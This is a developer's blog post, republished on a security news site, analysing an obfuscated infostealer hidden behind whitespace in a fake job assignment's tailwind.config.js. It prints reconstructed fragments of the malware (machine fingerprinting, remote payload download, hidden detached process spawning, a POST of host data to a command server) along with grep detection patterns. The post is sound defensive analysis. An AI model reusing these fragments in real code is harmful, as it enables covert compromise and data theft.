Zum Hauptinhalt springen
tsecurity.de LIVE
Echtzeit-Radar & Feeds
Alle RSS Feeds
👥 Community & Social
Windows Tipps & SecurityMazda CX-5 im Test: Familien-SUV mit guten Fahreigenschaften(21.09.2026 um 15:30 Uhr)
Unix & Linux ServerSecurity: Mehrere Probleme in pcre2 (SUSE)(21.09.2026 um 16:22 Uhr)
Unix & Linux ServerSecurity: Überschreiben von Dateien in abrt (Red Hat)(21.09.2026 um 16:22 Uhr)
Unix & Linux ServerSecurity: Zwei Probleme in libvirt (Red Hat)(21.09.2026 um 16:22 Uhr)
Windows Tipps & SecurityMazda CX-5 im Test: Familien-SUV mit guten Fahreigenschaften(21.09.2026 um 15:30 Uhr)
Unix & Linux ServerSecurity: Mehrere Probleme in pcre2 (SUSE)(21.09.2026 um 16:22 Uhr)
Unix & Linux ServerSecurity: Überschreiben von Dateien in abrt (Red Hat)(21.09.2026 um 16:22 Uhr)
Unix & Linux ServerSecurity: Zwei Probleme in libvirt (Red Hat)(21.09.2026 um 16:22 Uhr)
Intelligence View
⚡ tsecurity.de Intelligence

I Got a Job Offer. But, It Came With Malware.

Recently, a recruiter approached me via Linkedin with a Web3/crypto frontend role. The interview process seemed standard, submitted my Resume/CV, some back-and-forth about my experience, and then this message: "After reviewing your…

0
↗ Quelle (dev.to)
Reagiere als Erste:r — dein Feedback zählt!

Recently, a recruiter approached me via Linkedin with a Web3/crypto frontend role. The interview process seemed standard, submitted my Resume/CV, some back-and-forth about my experience, and then this message:



The recruiter's message on LinkedIn, asking me to complete a take-home technical assignment with a GitHub repo link and urging quick completion



"After reviewing your background, we'd like to move forward with the next step in our hiring process." A GitHub repo link. A 60-minute time estimate. Urgency about rolling submissions. Classic pressure to move fast and not think too hard.



I've done dozens of these. So I cloned the repo, opened it in my editor, and was about to run yarn install when something made me pause. The codebase felt... heavy for a simple coding test. 440 files. A full Express backend with Uniswap and PancakeSwap router integrations. Wallet private key handling. Why would a "create a WalletStatus component" task need all of this?



So instead of running it, I opened Claude Code and asked it to audit the entire codebase for malware. What it found buried inside tailwind.config.js, hidden behind 1500+ invisible whitespace characters, was a multi-stage infostealer that would have fingerprinted my machine, downloaded a remote payload, spawned a hidden background process, and exfiltrated my data to a command-and-control server. All triggered the moment I ran yarn start.



I later found a LinkedIn post by Jithin KG describing this exact attack pattern, malware embedded in fake take-home assignments targeting developers in the crypto space. I wasn't the only one being targeted.



This article is a full technical breakdown of what I found, including the exact Claude Code audit process that uncovered it. If you're job hunting, especially in crypto, but honestly in any space that sends you repos to run locally, read this before you yarn install anything.









The Setup: Everything Looked Normal



The repo they sent me looked completely legitimate. It presented itself as an NFT Campaign Platform called "Yootribe," built with:




  • React 18 + Redux frontend

  • Express.js + SQLite backend

  • Tailwind CSS, ethers.js, Web3, Uniswap SDK

  • A clean README with setup instructions, sample login credentials ([email protected] / testpassword), and troubleshooting tips



The assignment was straightforward:




Create a WalletStatus.js component that checks wallet connection status and displays the wallet address. Add a route at /dashboard/wallet-status. Submit a Pull Request.




Reasonable scope. Clear acceptance criteria. MetaMask integration, exactly what you'd expect from a Web3 company hiring frontend developers. The codebase was large enough (~440 files, 56,000+ lines) that no sane person would audit every line before running yarn start.



That's exactly what they were counting on.









How Claude Code Found It: The Audit



Before touching yarn install, I opened Claude Code in the project directory and ran a simple prompt:




Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.









Pass 1: Broad Codebase Scan



Claude Code started by mapping the entire project structure, every file in src/, server/, public/, and root config files. It then ran parallel searches across the codebase for known threat indicators:



Suspicious imports and system access:




Searching for: child_process|exec(|execSync|spawn|fork(
Result: package.json:33, "child_process": "^1.0.2"






It immediately flagged child_process, crypto, and fs as npm dependencies, Node.js built-ins that should never be installed as third-party packages.



Private key handling:




Searching for: privateKey|private_key|mnemonic|seed.?phrase
Results:
src/components/Wallet/ExportWallet.js:71, {userData?.wallet_private_key}
src/components/CreateWallet/Step4.js:46 , localStorage.setItem('key', wallet.privateKey)






It found private keys stored in plaintext in localStorage and exposed through unprotected API endpoints, the sniping bot backend accepts raw private keys via HTTP POST and stores them in an unencrypted SQLite database.



The server is a front-running bot:



Claude Code read every controller file and identified that the "NFT Campaign Platform" was actually a fully functional MEV (Maximal Extractable Value) exploit tool:





  • server/controllers/snippingController.js, monitors the Ethereum mempool for addLiquidity events and front-runs them


  • server/controllers/frontController.js, 870 lines of code that copies other wallets' pending buy/sell transactions and executes them first for profit, supporting Uniswap V2, V3, and Universal Router

  • Zero authentication on bot control endpoints (POST /startSnipping, POST /startFront)






Pass 2: Deep Threat Vector Scan



But the broad scan didn't find actual malware yet, no eval(), no atob(), no obvious obfuscation. So I asked Claude Code to go deeper:




Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns






Claude Code ran targeted regex searches across every .js, .jsx, .ts, and .tsx file:




Searching for: eval(|new Function(|setTimeout([^,]*[`"'][^)]*)|
setInterval([^,]*[`
"'][^)]*)|Reflect.|Proxy(
Searching for: atob(|btoa(|Buffer.from(|toString(.*(hex|base64|ascii)|
fromCharCode|charCodeAt
Searching for: fetch(|axios.(get|post)|http.request|https.request|
request(|XMLHttpRequest
Searching for: child_process|exec(|execSync|execFile|spawn(|spawnSync|
fork(|Worker(|cluster.|process.kill|process.exit|daemon
Searching for: fs.(read|write|unlink|rm|mkdir|access|stat|open|append)|
readFileSync|writeFileSync|createReadStream|os.(homedir|
tmpdir|platform|hostname|userInfo)






Most results were clean, normal fetch() calls to the project's own API, standard process.env usage, Sequelize's fs.readdirSync for model loading.



Then it hit tailwind.config.js.



Claude Code read the file and found that line 18 didn't end at column 3. After the };, there were over 1500 space characters, and then a massive block of obfuscated JavaScript starting with const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1....



My editor never showed this. git diff --stat showed tailwind.config.js | 18 lines, looks normal. But Claude Code reads the full raw content of every file, including characters past column 1500.






Pass 3: Decoding the Malware



Claude Code then decoded the obfuscated payload without executing it. It used Node.js to safely reverse the base64 and XOR encoding:




// Claude Code ran this to decode the malware's string table:
const n = a0 => {
s1 = a0.substring(1);
return Buffer.from(s1, 'base64').toString('utf8');
};

// Decoded results:
// 'os' , operating system module
// 'fs' , filesystem module
// 'request' , HTTP client
// 'path' , path utilities
// 'child_process' , process spawning
// 'platform' , os.platform()
// 'tmpdir' , os.tmpdir()
// 'hostname' , os.hostname()
// 'username' , os.userInfo().username
// 'spawn' , child_process.spawn()
// 'exec' , child_process.exec()
// 'writeFileSync' , fs.writeFileSync()
// 'existsSync' , fs.existsSync()
// 'statSync' , fs.statSync()
// 'mkdirSync' , fs.mkdirSync()
// 'get' , request.get()
// 'post' , request.post()






From this, Claude Code reconstructed the entire attack chain and confirmed it hits all five threat vectors:






































Threat Vector Found Details
Dynamic code execution Yes
child_process.exec() and spawn() with windowsHide: true
Remote payload download Yes
request.get() downloads from dynamically constructed C2 URL
Obfuscated code Yes Base64 + XOR + string array rotation + 1500-char whitespace hiding
Background process creation Yes
spawn({detached: true}) + unref() creates orphaned daemon
Unusual system access Yes Reads hostname, username, platform, tmpdir; writes to temp; POSTs to C2


All of this was found without running a single line of the project's code.









The Hidden Payload: 1500 Spaces of Silence



The malware lives in one file: tailwind.config.js.



Here's what you see if you open it:




/** @type {import('tailwindcss').Config} */
module.exports = {
content: [
"./src/**/*.{js,jsx,ts,tsx}",
"./public/index.html",
],
theme: {
extend: {
fontFamily: {
'poppins': ['Poppins', 'sans-serif'],
},
},
},
plugins: [],
corePlugins: {
preflight: false,
},
};






A perfectly normal Tailwind config. But line 18 doesn't end at the semicolon. After the };, there are over 1500 space characters padding the line horizontally, followed by a massive block of obfuscated JavaScript:




};                                          (1500+ more spaces)                                          const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1...






Obfuscated Code



No editor will show this without horizontal scrolling. git diff won't flag it. Most code review tools render it as a clean, innocent config file.



This is the dropper.









Layer 1: The Obfuscation



The malicious code uses four stacked obfuscation techniques:






String Array Rotation



A shuffled array of 100+ base64-encoded strings is accessed via computed hex indices. The array is rotated at startup using an IIFE with a checksum:




(function(a0, a1) {
const a2 = a0();
while (!![]) {
try {
const a3 = parseInt(ab(0x1a0))/0x1 + parseInt(ab(0x1ed))/0x2 + ...
if (a3 === a1) break;
else a2['push'](a2['shift']());
} catch(a4) { a2['push'](a2['shift']()); }
}
})(a0a0, 0x7c2c2);






This makes the string lookups position-dependent on runtime computation. You can't statically map indices to values.






Custom Base64 + XOR Decoder



Two decoding functions work in tandem:




// Base64 decoder (strips first char as salt, then decodes)
const n = a0 => {
s1 = a0.substring(1);
return Buffer.from(s1, 'base64').toString('utf8');
};

// XOR decoder with rotating 4-byte key
const T = [0x70, 0xa0, 0x89, 0x48];
const x = a0 => {
let a2 = '';
for (let a3 = 0; a3 < a0.length; a3++) {
rr = ((a0[a3] ^ T[a3 & 0x3]) & 0xff);
a2 = a2 + String.fromCharCode(rr);
}
return a2;
};






Every sensitive string, module names, function names, URLs, runs through one or both of these before use.






String Fragmentation



Critical identifiers are split across multiple concatenations:




const c = 'base6' + '4';
const i = 'Rc3Bh' + a0ai(0x18b); // → 'spawn'
const u = a0aj(0x1d4) + a0al(0x1e3) + 'A'; // → 'request'









Variable Name Mangling



Every variable is a meaningless alphanumeric identifier: a0ai, a0aj, aG, aH, bk. Functions are called through proxy objects with obfuscated keys:




a1 = {
'bPrTI': function(a5, a6) { return a5(a6); },
'ylVwx': function(a5, a6) { return a5(a6); },
};
// Later: a0['bPrTI'](someFunc, someArg) // just calls someFunc(someArg)












Layer 2: What It Actually Does



After decoding every string, here's the reconstructed logic in plain English:






Imports






const os = require('os');
const fs = require('fs');
const request = require('request'); // HTTP client from package.json
const path = require('path');
const process = require('process');
const child_process = require('child_process');






Note: request, child_process, crypto, and fs are all listed as explicit dependencies in package.json. That's not accidental, it ensures they're available after yarn install without raising suspicion since the project is a crypto app that might plausibly need them.






Step 1, System Fingerprinting






const tmpDir = os.tmpdir();
const hostname = os.hostname();
const platform = os.platform(); // 'darwin', 'win32', 'linux'
const userInfo = os.userInfo();
const username = userInfo.username;
const timestamp = Date.now().toString();
const scriptPath = process.argv[1];






Collects everything needed to identify your machine uniquely.






Step 2, C2 URL Construction



The Command & Control server URL is never stored as a string. Instead, it's built dynamically from multiple encoded fragments:




// Simplified reconstruction:
const baseUrl = decode(M_or_X); // switches between two C2 servers
const fullUrl = constructUrl(baseUrl, fragments, sessionId);






Two hardcoded base64 values (M and X) serve as primary/fallback C2 addresses. The URL includes path segments derived from XOR-decoded byte arrays, making pattern-matching by security tools nearly impossible.






Step 3, Payload Download






request.get(c2url, (error, response, body) => {
if (error) return;
fs.writeFileSync(localPath, body); // writes to temp dir
executePayload(tempDir);
});






Downloads a remote binary/script and writes it to a staging directory inside os.tmpdir(). The directory is created with fs.mkdirSync({recursive: true}).






Step 4, Hidden Execution



On Windows:




const child = spawn(process.execPath, [payload], {
cwd: stageDir,
stdio: 'ignore',
windowsHide: true // no visible window
});
child.unref(); // parent can exit, child keeps running






On macOS/Linux:




const child = spawn(nodePath, [process.execPath, payload], {
cwd: stageDir,
detached: true, // survives parent termination
stdio: ['ignore', logFd, logFd] // redirects to hidden log
});
child.unref();






The detached: true + unref() combination is the key trick: it creates an orphaned process that continues running even after you close your terminal or kill the dev server. On Windows, windowsHide: true ensures no command prompt window flashes on screen.






Step 5, Data Exfiltration






const payload = {
ts: timestamp, // when
type: identifier, // campaign/session ID
hid: hostname + '+' + username, // who
ss: sessionData, // session context
cc: process.argv[1] // what script was running
};
request.post({ url: c2url, form: payload });






Your machine identity is sent to the attacker's server. This likely serves as:




  • Confirmation of successful infection

  • Inventory for targeted follow-up attacks

  • Filtering (don't waste effort on VMs/sandboxes)






Step 6, Persistence Loop






let attempts = 0;
const retry = async () => {
try {
timestamp = Date.now().toString();
await downloadAndExecute(0);
} catch(e) {}
};

retry();
let interval = setInterval(() => {
attempts += 1;
if (attempts < 3) retry();
else clearInterval(interval);
}, 616000); // every ~10.3 minutes






Runs immediately on import, then retries twice more at 10-minute intervals. Three total attempts to ensure the payload lands even if the C2 server is temporarily unreachable.









The Full Kill Chain





By the time your React app opens in the browser, the malware has already phoned home, dropped its payload, and started a hidden background process.









Red Flags I Almost Missed



Looking back, the signals were there, but they're easy to overlook when you're focused on completing an assignment:






1. Suspicious npm dependencies






"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security"






These are Node.js built-ins. They should never appear as npm dependencies. The npm packages with these names are either stubs or historically flagged as supply-chain attack vectors. Listing them ensures they're resolvable by require() in any environment.






2. The request package






"request": "^2.88.2"






The request npm package has been deprecated since 2020. A legitimate project in 2025+ would use axios (which is already in the deps) or node-fetch. The only reason request is here is because the malware needs it, and its presence is hidden among 80+ other dependencies.






3. The codebase is a crypto sniping bot



The server contains fully functional front-running and sniping bots that monitor the Ethereum mempool and exploit other users' transactions. Private keys are accepted via unprotected HTTP endpoints and stored in plaintext SQLite. This isn't just a vehicle for malware, the entire platform is an exploit tool.






4. One commit, one author






commit 70a3da95
Author: talent-labs <[email protected]>
Date: Fri Jan 23 09:36:06 2026 +0900
main/home-assignment
438 files changed, 56441 insertions(+)






The entire codebase was committed in a single commit by talent-labs <[email protected]>. No history. A throwaway email. No GitHub organization page, no company website that matches, no LinkedIn profiles of employees I could verify. The "company" existed just enough to send me a repo.









How to Protect Yourself






Use Claude Code to Audit Before You Run



As I showed earlier in this article, this is exactly how I caught the malware. Two prompts. A few minutes. No code executed.



Claude Code reads every line of every file in the repo, including the parts hidden past column 1500 that your editor never renders. It doesn't get tired, it doesn't skim, and it doesn't assume config files are safe.



If you're receiving repos from strangers, run them through Claude Code before you touch yarn install. The two prompts I used:




Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.









Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns






It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.






Manual checks you should also do:





  1. Scroll right. Open every config file and scroll to the end of every line. Or run:




   awk 'length > 200' **/*.{js,json,ts,jsx,tsx}








  1. Search for obfuscation patterns:




   grep -rn 'eval\|Function(\|atob\|fromCharCode\|\\x[0-9a-f]' .
grep -rn 'child_process\|\.exec(\|\.spawn(' .
grep -rn 'Buffer\.from\|toString.*base64' .








  1. Audit package.json:




    • Look for preinstall/postinstall scripts

    • Flag built-in Node modules listed as dependencies (fs, child_process, crypto, os, path)

    • Question deprecated packages (request)



  2. Use a VM or container. Always. Run take-home assignments in a disposable environment. Docker, a throwaway VM, or at minimum a separate user account with no access to your crypto wallets, SSH keys, or cloud credentials.


  3. Check line lengths in git:





   git diff --stat  # won't catch it
git log -p | awk 'length > 500' # will








  1. Don't trust the file extension. Malware was in tailwind.config.js, a file you'd never think to audit. It could just as easily be in postcss.config.js, babel.config.js, jest.config.js, .eslintrc.js, or any config that gets require()'d at build time.






If you already ran it:





  1. Check for orphaned Node processes: ps aux | grep node


  2. Inspect your temp directory: ls -la $TMPDIR or ls -la /tmp


  3. Check for outbound connections: lsof -i -nP | grep node


  4. Rotate all credentials that were accessible from your machine, SSH keys, API tokens, crypto wallets, browser sessions


  5. Assume compromise. If you ran it on a machine with crypto wallets, move your assets immediately from a different device.









Final Thoughts



I almost ran this. I was one yarn start away from having my machine compromised, my SSH keys, my cloud credentials, my browser sessions, everything. The only reason I didn't is because the repo felt slightly too heavy for the task, and I decided to read before running.



But let's be honest: most of the time, we don't read. We're excited about a job opportunity. The repo looks professional. The task is reasonable. We want to impress the recruiter by submitting quickly. And that's exactly when we run yarn start without auditing 56,000 lines of code, including the 1500 invisible spaces hiding a backdoor in a Tailwind config.



The crypto/Web3 job market has become a hunting ground for these attacks. But the technique isn't limited to crypto, any take-home assignment in any tech stack can carry this payload. A Django project could hide it in settings.py. A Go project could hide it in go generate directives. A Rust project could hide it in build.rs.



What changed my workflow after this: I now run every take-home assignment through Claude Code before I touch yarn install. It takes two minutes and it reads every line, including the ones I can't see. It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.



The rule is simple: if someone sends you code to run, treat it like someone handed you a USB drive in a parking lot. Inspect it. Sandbox it. And never run it on a machine that has access to anything you care about.






If this helped you, share it with someone who's job hunting. One yarn start is all it takes.

Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten I Got a Job Offer. But, It Came With Malware.

Thematisch verwandte Begriffe: Offer, Came, With, Malware · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Zum Aktualisieren ziehen
ZERO-DAY CVE-2026-94216 | A vulnerability was determined in ST Engineering iDirect Evolution and V…
Advisory →
TTS Reader • tsecurity.de Voice
tsecurity.de Icon
tsecurity.de App
Offline-Lesen, Eilmeldungen & 0ms Ladezeit

Installiere tsecurity.de direkt auf deinen Home-Bildschirm für das ultimative Vollbild-Magazinerlebnis ohne Browser-Leisten.

Nächster Beitrag
Themen-Radar & Intelligence Matrix
Echtzeit-Taxonomie nach Angriffsvektoren & Plattformen

tsecurity.de Live Threat Radar

🔴 LIVE RADAR
MONITORING
AKTIV
CVE-DATENBANK
LIVE
🔍
Community Radar & Live Chat
Sentinel Bot online • Live-Stream
Dein Cluster: Security Explorer
Match:
lädt…
Verbindung zum Community-Stream wird aufgebaut...
Bearbeitungsmodus — Senden überschreibt deine Nachricht
Community-Puls — was gerade passiert
lädt…
Aktivitäten deiner Analysten
lädt…
Neues Thema oder Eilmeldung einreichen

Reiche interessante Links, Zero-Days oder Debatten ein. Die Community entscheidet per Upvote über die Veröffentlichung.

Heiß diskutierte Einreichungen
🔖 Gespeicherte Artikel
📂 Keine gespeicherten Artikel vorhanden.
Zurück Ziehen Vor
Links: vorheriger Artikel Rechts: nächster Artikel unten: schließen
News NIS-2 Frühwarnung Tier-1 Intel ⏱️ 3 Min vor 10 Min
Artikeldaten werden geladen...

Zurück: vorheriger Vor: nächster
↗ Original-Quelle
Social Reaktionen Deine Reaktion zählt
Einstufung & Relevanz-Poll 0 Stimmen
In sozialen Netzwerken teilen 1-Klick